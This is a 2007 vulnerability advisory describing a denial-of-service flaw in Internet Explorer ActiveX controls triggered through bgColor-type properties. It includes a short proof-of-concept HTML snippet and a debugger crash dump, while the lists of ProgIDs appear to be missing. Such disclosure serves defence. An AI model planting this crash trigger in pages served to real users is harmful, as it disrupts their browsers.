Internet Explorer ActiveX bgColor property denial of service


Vendor notification: Jan 16, 2007
Vendor response: will not release a patch

Public disclosure: Jan 27, 2007

Systems affected

  • Internet Explorer 5
  • Internet Explorer 6
  • Internet Explorer 7 on Windows XP
  • Internet Explorer 7 on Windows Vista


There is a denial of service vulnerability in multiple ActiveX controls included in Internet Explorer. This vulnerability can be exploited by a malicious web page and results in a termination of the Internet Explorer process. Our analysis indicates that remote code execution is unlikely. The vulnerable ActiveX controls are installed by default with all versions of Internet Explorer on Windows 2000, XP, 2003 and Vista.

Technical details

This vulnerability was found by a fuzzer that instantiates all ActiveX controls on the system and enumerates their properties. This revealed multiple controls that crash with an invalid memory access exception when certain object properties are accessed through JavaScript. Most of the vulnerable ActiveX controls are in MSHTML.DLL and are exploitable on all versions of Internet Explorer. Their ProgIDs are given below:


The following two controls in TRIEDIT.DLL are exploitable without user interaction only on Internet Explorer 5 and 6:


Accessing one of the bgColor, fgColor, linkColor, alinkColor, vlinkColor or defaultCharset properties of the controls listed above results in a NULL pointer dereference and an unhandled memory access violation. It is hard to tell what the root cause and full impact of this vulnerability are, but remote code execution seems unlikely at this point.

Microsoft has taken steps to minimize the attack surface presented by the ActiveX controls in Internet Explorer 7. The ActiveX Opt-In feature prevents previousely unused ActiveX controls from running, unless the user explicitly allows their instantiation. The only controls that can run without prompting the user are the ones included on a pre-approved list in the system registry. However, all vulnerable MSHTML.DLL controls listed above are on the pre-approved list, allowing the vulnerability to be exploited with no user interaction on IE7 running on both Windows XP and Vista.

Proof of concept

The following HTML file will trigger the vulnerability:

  <script language="JavaScript">
    obj = new ActiveXObject("giffile");

Opening the file in Internet Explorer results in the following NULL-pointer dereference:

(a9c.72c): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=7ded51fc ecx=01253b90 edx=00000000 esi=00038ff8 edi=01253c40
eip=7dda1dde esp=0013dfb0 ebp=0013dfbc iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
7dda1dde ff30            push    dword ptr [eax]      ds:0023:00000000=????????